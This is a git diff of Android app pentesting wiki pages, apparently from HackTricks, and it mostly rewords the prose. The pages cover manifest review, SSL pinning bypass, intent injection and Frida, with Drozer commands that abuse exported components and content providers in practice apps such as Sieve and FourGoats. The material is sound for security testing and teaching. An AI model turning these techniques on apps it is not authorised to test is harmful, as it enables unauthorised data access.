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mobile-pentesting/android-app-pentesting/README.md
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@ -40,7 +40,7 @@ It's highly recommended to start reading this page to know about the **most impo
## ADB (Android Debug Bridge)
This is the main tool you need to connect to an android device (emulated or physical).\
It allows you to control your device over **USB** or **Network** from a computer, **copy** files back and forth, **install** and uninstall apps, run **shell** commands, perform **backups**, read **logs** and more.
**ADB** allows to control devices either over **USB** or **Network** from a computer. This utility enables the **copying** of files in both directions, **installation** and **uninstallation** of apps, **execution** of shell commands, **backing up** of data, **reading** of logs, among other functions.
Take a look to the following list of [**ADB Commands**](adb-commands.md) to learn how to use adb.
@ -80,28 +80,26 @@ Pay special attention to **firebase URLs** and check if it is bad configured. [M
### Basic understanding of the application - Manifest.xml, strings.xml
Using any of the **decompilers** mentioned [**here** ](apk-decompilers.md)you will be able to read the _Manifest.xml_. You could also **rename** the **apk** file extension **to .zip** and **unzip** it.\
Reading the **manifest** you can find **vulnerabilities**:
The **examination of an application's _Manifest.xml_ and _strings.xml_ files can reveal potential security vulnerabilities**. These files can be accessed using decompilers or by renaming the APK file extension to .zip and then unzipping it.
* First of all, check if **the application is debuggeable**. A production APK shouldn't be (or others will be able to connect to it). You can check if an application is debbugeable looking in the manifest for the attribute `debuggable="true"` inside the tag _\<application_ Example: `<application theme="@2131296387" debuggable="true"`
* [Learn here](drozer-tutorial/#is-debuggeable) how to find debuggeable applications in a phone and exploit them
* **Backup**: The **`android:allowBackup`** attribute defines whether application data can be backed up and restored by a user who has enabled usb debugging. If backup flag is set to true, it allows an attacker to take the backup of the application data via adb even if the device is not rooted. Therefore applications that handle and store sensitive information such as card details, passwords etc. should have this setting explicitly set to **false** because by default it is set to **true** to prevent such risks.
* `<application android:allowBackup="false"`
* **NetworkSecurity:** The application network security can be overwritten the defaults values with **`android:networkSecurityConfig="@xml/network_security_config"`**. A file with that name may be put in _**res/xml.**_ This file will configure important security settings like certificate pins or if it allows HTTP traffic. You can read here more information about all the things that can be configure, but check this example about how to configure HTTP traffic for some domains:
* `<domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">formation-software.co.uk </domain></domain-config>`
* **Exported activities**: Check for exported activities inside the manifest as this could be dangerous. Later in the dynamic analysis it will be explained how [you can abuse this behaviour](./#exploiting-exported-activities-authorisation-bypass).
* **Content Providers**: If an exported provider is being exposed, you could b able to access/modify interesting information. In dynamic analysis [you will learn how to abuse them](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information).
* Check for **FileProviders** configurations inside the attribute `android:name="android.support.FILE_PROVIDER_PATHS"`. [Read here to learn more about FileProviders](./#fileprovider).
* **Exposed Services**: Depending on what the service is doing internally vulnerabilities could be exploited. In dynamic analysis [you will learn how to abuse them](./#exploiting-services).
* **Broadcast Receivers**: [You will learn how you can possibly exploit them](./#exploiting-broadcast-receivers) during the dynamic analysis.
* **URL scheme**: Read the code of the activity managing the schema and look for vulnerabilities managing the input of the user. More info about [what is an URL scheme here](./#url-schemes).
* **minSdkVersion**, **targetSDKVersion**, **maxSdkVersion**: They indicate the versions of Android the app will run on. It's important to keep them in mind because from a security perspective, supporting old version will allow known vulnerable versions of android to run it.
**Vulnerabilities** identified from the **Manifest.xml** include:
Reading **resources.arsc/strings.xml** you can find some **interesting info**:
* **Debuggable Applications**: Applications set as debuggable (`debuggable="true"`) in the _Manifest.xml_ file pose a risk as they allow connections that can lead to exploitation. For further understanding on how to exploit debuggable applications, refer to a tutorial on finding and exploiting debuggable applications on a device.
* **Backup Settings**: The `android:allowBackup="false"` attribute should be explicitly set for applications dealing with sensitive information to prevent unauthorized data backups via adb, especially when usb debugging is enabled.
* **Network Security**: Custom network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ can specify security details like certificate pins and HTTP traffic settings. An example is allowing HTTP traffic for specific domains.
* **Exported Activities and Services**: Identifying exported activities and services in the manifest can highlight components that might be misused. Further analysis during dynamic testing can reveal how to exploit these components.
* **Content Providers and FileProviders**: Exposed content providers could allow unauthorized access or modification of data. The configuration of FileProviders should also be scrutinized.
* **Broadcast Receivers and URL Schemes**: These components could be leveraged for exploitation, with particular attention to how URL schemes are managed for input vulnerabilities.
* **SDK Versions**: The `minSdkVersion`, `targetSDKVersion`, and `maxSdkVersion` attributes indicate the supported Android versions, highlighting the importance of not supporting outdated, vulnerable Android versions for security reasons.
From the **strings.xml** file, sensitive information such as API keys, custom schemas, and other developer notes can be discovered, underscoring the need for careful review of these resources.
* API Keys
* Custom schemas
* Other interesting info developers save in this file
### Tapjacking
@ -138,8 +136,6 @@ In Android, files **stored** in **internal** storage are **designed** to be **ac
**External Storage**
### Guidelines for Managing Files on External Storage
When dealing with files on **external storage**, such as SD Cards, certain precautions should be taken:
1. **Accessibility**:
@ -319,26 +315,26 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging**
Often Developers leave debugging information publicly. So any application with `READ_LOGS` permission can **access those logs** and can gain sensitive information through that.\
While navigating through the application use [**pidcat**](https://github.com/JakeWharton/pidcat)_(Recommended, it's easier to use and read_) or [adb logcat](adb-commands.md#logcat) to read the created logs and **look for sensitive information**.
Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
{% hint style="warning" %}
Note that from l**ater versions that Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
Anyway, it's still recommended to **not log sensitive information**.
{% endhint %}
**Copy/Paste Buffer Caching**
Android provides **clipboard-based** framework to provide copy-paste function in android applications. But this creates serious issue when some **other application** can **access** the **clipboard** which contain some sensitive data. **Copy/Paste** function should be **disabled** for **sensitive part** of the application. For example, disable copying credit card details.
Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks.
**Crash Logs**
If an application **crashes** during runtime and it **saves logs** somewhere then those logs can be of help to an attacker especially in cases when android application cannot be reverse engineered. Then, avoid creating logs when applications crashes and if logs are sent over the network then ensure that they are sent over an SSL channel.\
If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security.
As pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
Most of the application uses other services in their application like Google Adsense but sometimes they **leak some sensitive data** or the data which is not required to sent to that service. This may happen because of the developer not implementing feature properly. You can **look by intercepting the traffic** of the application and see whether any sensitive data is sent to 3rd parties or not.
Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services.
### SQLite DBs
@ -351,17 +347,18 @@ Enumerate the tables using `.tables` and enumerate the columns of the tables doi
### Drozer (Exploit Activities, Content Providers and Services)
**Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. From [Drozer Guide](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf).\
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
### Exploiting exported Activities
[**Read this if you want to remind what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Also remember that the code of an activity starts with the `onCreate` method.
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass**
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**\
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/#activities)
You can also start an exported activity from adb:
@ -389,13 +386,14 @@ If tapjacking isn't prevented, you could abuse the exported activity to make the
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to remind what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.\
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/#content-providers)
### **Exploiting Services**
[**Read this if you want to remind what is a Service.**](android-applications-basics.md#services)\
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Remember that a the actions of a Service start in the method `onStartCommand`.
As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\
@ -403,7 +401,7 @@ As service is basically something that **can receive data**, **process** it and
### **Exploiting Broadcast Receivers**
[**Read this if you want to remind what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Remember that a the actions of a Broadcast Receiver start in the method `onReceive`.
A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable.\
@ -450,32 +448,29 @@ Note that if you find the correct endpoints inside the application you may be ab
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
### Insufficient Transport Layer Protection
### Transport Layer Inspection and Verification Failures
* **Lack of Certificate Inspection:** Android Application fails to verify the identity of the certificate presented to it. Most of the application ignore the warnings and accept any self-signed certificate presented. Some Application instead pass the traffic through an HTTP connection.
* **Weak Handshake Negotiation:** Application and server perform an SSL/TLS handshake but use an insecure cipher suite which is vulnerable to MITM attacks. So any attacker can easily decrypt that connection.
* **Privacy Information Leakage:** Most of the times it happens that Applications do authentication through a secure channel but rest all connection through non-secure channel. That doesn’t add to security of application because rest sensitive data like session cookie or user data can be intercepted by an malicious user.
- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data.
- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities.
From the 3 scenarios presented we are going to discuss **how to verify the identity of the certificate**. The other 2 scenarios depends on the **TLS configuratio**n of the server and if the **application sends unencrypted data**. The pentester should check by it's own the TLS configuration of the server ([here](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)) and detect if any **confidential information is sent by an unencrypted/vulnerable** channel .\
More information about how to discover and fix these kind of vulnerabilities [**here**](https://manifestsecurity.com/android-application-security-part-10/).
#### Certificate Verification
**SSL Pinning**
We will focus on **certificate verification**. The integrity of the server's certificate must be verified to enhance security. This is crucial because insecure TLS configurations and the transmission of sensitive data over unencrypted channels can pose significant risks. For detailed steps on verifying server certificates and addressing vulnerabilities, **[this resource](https://manifestsecurity.com/android-application-security-part-10/)** provides comprehensive guidance.
By default, when making an SSL connection, the client(android app) checks that the server’s certificate has a verifiable chain of trust back to a trusted (root) certificate and matches the requested hostname. This lead to problem of **Man in the Middle Attacks(MITM)**.\
In certificate Pinnning, an Android Application itself contains the certificate of server and only transmit data if the same certificate is presented.\
It's recommended to **apply SSL Pinning** for the sites where sensitive information is going to be sent.
#### SSL Pinning
### Inspecting HTTP traffic
SSL Pinning is a security measure where the application verifies the server's certificate against a known copy stored within the application itself. This method is essential for preventing MITM attacks. Implementing SSL Pinning is strongly recommended for applications handling sensitive information.
First of all, you should (must) **install the certificate** of the **proxy** tool that you are going to use, probably Burp. If you don't install the CA certificate of the proxy tool, you probably aren't going to see the encrypted traffic in the proxy.\
**Please,** [**read this guide to learn how to do install a custom CA certificate**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)**.**
#### Traffic Inspection
For applications targeting **API Level 24+ it isn't enough to install the Burp CA** certificate in the device. To bypass this new protection you need to modify the Network Security Config file. So, you could modify this file to authorise your CA certificate or you can [**read this page for a tutorial on how to force the application to accept again all the installed certificate sin the device**](make-apk-accept-ca-certificate.md).
To inspect HTTP traffic, it's necessary to **install the proxy tool's certificate** (e.g., Burp). Without installing this certificate, encrypted traffic might not be visible through the proxy. For a guide on installing a custom CA certificate, **[click here](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)**.
**SSL Pinning**
Applications targeting **API Level 24 and above** require modifications to the Network Security Config to accept the proxy's CA certificate. This step is critical for inspecting encrypted traffic. For instructions on modifying the Network Security Config, **[refer to this tutorial](make-apk-accept-ca-certificate.md)**.
We have already discuss what is SSL Pinning just 2 paragraphs before. When it's implemented in an application you will need to bypass it to inspect the HTTPS traffic or you won't see it.\
Here I'm going to present a few options I've used to bypass this protection:
#### Bypassing SSL Pinning
When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose:
* Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
* You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
@ -483,20 +478,20 @@ Here I'm going to present a few options I've used to bypass this protection:
* You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
* If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
**Common Web vulnerabilities**
#### Looking for Common Web Vulnerabilities
Note that in this step you should look for common web vulnerabilities. A lot of information about web vulnerabilities be found in this book so I'm not going to mention them here.
It's important to also search for common web vulnerabilities within the application. Detailed information on identifying and mitigating these vulnerabilities is beyond the scope of this summary but is extensively covered elsewhere.
### Frida
Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Learn more at [www.frida.re](https://www.frida.re).\
**It's amazing, you can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\
**If you want to pentest Android applications you need to know how to use Frida.**
[Frida](https://www.frida.re) is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.\
**You can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\
If you want to pentest Android applications you need to know how to use Frida.
**Learn how to use Frida:** [**Frida tutorial**](frida-tutorial/)\
**Some "GUI" for actions with Frida:** [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)\
**Some other abstractions based on Frida:** [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)\
**You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
* Learn how to use Frida: [**Frida tutorial**](frida-tutorial/)
* Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
* Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
### **Dump Memory - Fridump**
@ -563,9 +558,15 @@ This tool could help you managing different tools during the dynamic analysis: [
### Intent Injection
This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object.\
Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc.\
This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`.
Developers often create proxy components like activities, services, and broadcast receivers that handle these Intents and pass them to methods such as `startActivity(...)` or `sendBroadcast(...)`, which can be risky.
The danger lies in allowing attackers to trigger non-exported app components or access sensitive content providers by misdirecting these Intents. A notable example is the `WebView` component converting URLs to `Intent` objects via `Intent.parseUri(...)` and then executing them, potentially leading to malicious Intent injections.
### Essential Takeaways
- **Intent Injection** is similar to web's Open Redirect issue.
- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations.
- It can expose non-exported components and content providers to attackers.
- `WebView`’s URL to `Intent` conversion can facilitate unintended actions.
### Android Client Side Injections and others
@ -573,7 +574,7 @@ Probably you know about this kind of vulnerabilities from the Web. You have to b
* **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries.
* **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
* **Local File Inclusion:** Verify that File System Access is disabled for any WebViews (enabled by default) `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
* **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
* **Eternal cookies**: In several cases when the android application finish the session the cookie isn't revoked or it could be even saved to disk
* [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
@ -679,9 +680,6 @@ adb shell settings put global http_proxy :0
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**.
{% content-ref url="inspeckage-tutorial.md" %}
[inspeckage-tutorial.md](inspeckage-tutorial.md)
{% endcontent-ref %}
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -707,22 +705,9 @@ qark --java path/to/specific/java/file.java
* Analyze AndroidManifest.xml for common vulnerabilities and behavior
* Static source code analysis for common vulnerabilities and behavior
* Device info
* Intents
* Command execution
* SQLite references
* Logging references
* Content providers
* Broadcast recievers
* Service references
* File references
* Crypto references
* Hardcoded secrets
* URL's
* Network connections
* SSL references
* WebView references
* and more
```
```bash
reverse-apk relative/path/to/APP.apk
```
@ -742,7 +727,7 @@ super-analyzer {apk_file}
![](<../../.gitbook/assets/image (62).png>)
StaCoAn is a **crossplatform** tool which aids developers, bugbounty hunters and ethical hackers performing [static code analysis](https://en.wikipedia.org/wiki/Static\_program\_analysis) on mobile applications\*.
StaCoAn is a **crossplatform** tool which aids developers, bugbounty hunters and ethical hackers performing [static code analysis](https://en.wikipedia.org/wiki/Static\_program\_analysis) on mobile applications.
The concept is that you drag and drop your mobile application file (an .apk or .ipa file) on the StaCoAn application and it will generate a visual and portable report for you. You can tweak the settings and wordlists to get a customized experience.
@ -799,11 +784,10 @@ Note that depending the service and configuration you use to obfuscate the code.
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
**ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
From [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
ProGuard is distributed as part of the Android SDK and runs when building the application in release mode.
From: [https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
### [DexGuard](https://www.guardsquare.com/dexguard)
@ -841,25 +825,16 @@ APKiD gives you information about **how an APK was made**. It identifies many **
AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis.
### OWASP
{% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" %}
### Git Repos
[https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android)\
[https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
## References
For more information visit:
* [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
* [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
## To Test
## Yet to try
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

44
mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
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@ -25,6 +25,9 @@ Other ways to support HackTricks:
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (from mrwlabs)
* [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**Parts of this tutorial were extracted from the [Drozer documentation pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf).**
## Installation
Install Drozer Client inside your host. Download it from the [latest releases](https://github.com/mwrlabs/drozer/releases).
@ -37,7 +40,7 @@ pip install service_identity
Download and install drozer APK from the [latest releases](https://github.com/mwrlabs/drozer/releases). At this moment it is [this](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
```
```bash
adb install drozer.apk
```
@ -45,7 +48,7 @@ adb install drozer.apk
Agent is running on port 31415, we need to [port forward](https://en.wikipedia.org/wiki/Port\_forwarding) to establish the communication between the Drozer Client and Agent, here is the command to do so:
```
```bash
adb forward tcp:31415 tcp:31415
```
@ -55,7 +58,7 @@ Finally, **launch** the **application** and press the bottom "**ON**"
And connect to it:
```
```bash
drozer console connect
```
@ -80,14 +83,14 @@ drozer console connect
Find the **name** of the package filtering by part of the name:
```
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
```
**Basic Information** of the package:
```
```bash
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
@ -109,13 +112,13 @@ Defines Permissions:
Read **Manifest**:
```
```bash
run app.package.manifest jakhar.aseem.diva
```
**Attack surface** of the package:
```
```bash
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
@ -199,7 +202,7 @@ Package: com.mwr.example.sieve
#### **Interact** with a service
```
```bash
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
@ -221,7 +224,7 @@ In the following example:
* `arg2 == 1`
* `replyTo == object(string com.mwr.example.sieve.PIN 1337)`
```
```bash
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
```
@ -229,22 +232,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
### Broadcast Receivers
Android apps can send or receive broadcast messages from the Android system and other Android apps, similar to the [publish-subscribe](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe\_pattern) design pattern. These broadcasts are sent when an event of interest occurs. For example, the Android system sends broadcasts when various system events occur, such as when the system boots up or the device starts charging. Apps can also send custom broadcasts, for example, to notify other apps of something that they might be interested in (for example, some new data has been downloaded).
Apps can register to receive specific broadcasts. When a broadcast is sent, the system automatically routes broadcasts to apps that have subscribed to receive that particular type of broadcast.
This could appear inside the Manifest.xml file:
```markup
<receiver android:name=".MyBroadcastReceiver" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.INPUT_METHOD_CHANGED" />
</intent-filter>
</receiver>
```
From: [https://developer.android.com/guide/components/broadcasts](https://developer.android.com/guide/components/broadcasts)
**In the Android basic info section you can see what is a Broadcast Receiver**.
After discovering this Broadcast Receivers you should **check the code** of them. Pay special attention to the **`onReceive`** function as it will be handling the messages received.
@ -279,7 +267,7 @@ Package: com.google.android.youtube
#### Broadcast **Interactions**
```
```bash
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
@ -295,7 +283,7 @@ In this example abusing the [FourGoats apk](https://github.com/linkedin/qark/blo
If you read the code, the parameters "_phoneNumber_" and "_message_" must be sent to the Content Provider.
```
```bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
```
@ -306,7 +294,7 @@ This mean that you can **attach java debugger** to the running application, insp
When an application is debuggable, it will appear in the Manifest:
```html
```xml
<application theme="@2131296387" debuggable="true"
```

12
mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
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@ -18,18 +18,17 @@ Other ways to support HackTricks:
## Intro
A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored** in a **database**, in **files**, or even over a **network**.
Data is **supplied from one application to others** on request by a component known as a **content provider**. These requests are managed through the **ContentResolver class** methods. Content providers can store their data in various locations, such as a **database**, **files**, or over a **network**.
It has to be declared inside the _Manifest.xml_ file. Example:
In the _Manifest.xml_ file, the declaration of the content provider is required. For instance:
```markup
```xml
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
In this case, it's necessary the permission `READ_KEYS` to access `content://com.mwr.example.sieve.DBContentProvider/Keys`\
(_Also, notice that in the next section we are going to access `/Keys/` which isn't protected, that's because the developer got confused and protected `/Keys` but declared `/Keys/`_)
To access `content://com.mwr.example.sieve.DBContentProvider/Keys`, the `READ_KEYS` permission is necessary. It's interesting to note that the path `/Keys/` is accessible in the following section, which is not protected due to a mistake by the developer, who secured `/Keys` but declared `/Keys/`.
**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).**
@ -57,7 +56,7 @@ dz> run app.provider.info -a com.mwr.example.sieve
Grant Uri Permissions: False
```
We can **reconstruct** part of the content **URIs** to access the **DBContentProvider**, because we know that they must begin with “_content://_” and the information obtained by Drozer inside Path: _/Keys_.
It's possible to piece together how to reach the **DBContentProvider** by starting URIs with “_content://_”. This approach is based on insights gained from using Drozer, where key information was located in the _/Keys_ directory.
Drozer can **guess and try several URIs**:
@ -210,6 +209,7 @@ Vulnerable Providers:
* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm)
* [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
* [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
<details>

11
mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
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@ -53,26 +53,25 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
Follow the [link to read it](frida-tutorial-1.md).
**Follow the [link to read it](frida-tutorial-1.md).**
### [Tutorial 2](frida-tutorial-2.md)
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
Follow the[ link to read it.](frida-tutorial-2.md)
**Follow the[ link to read it.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
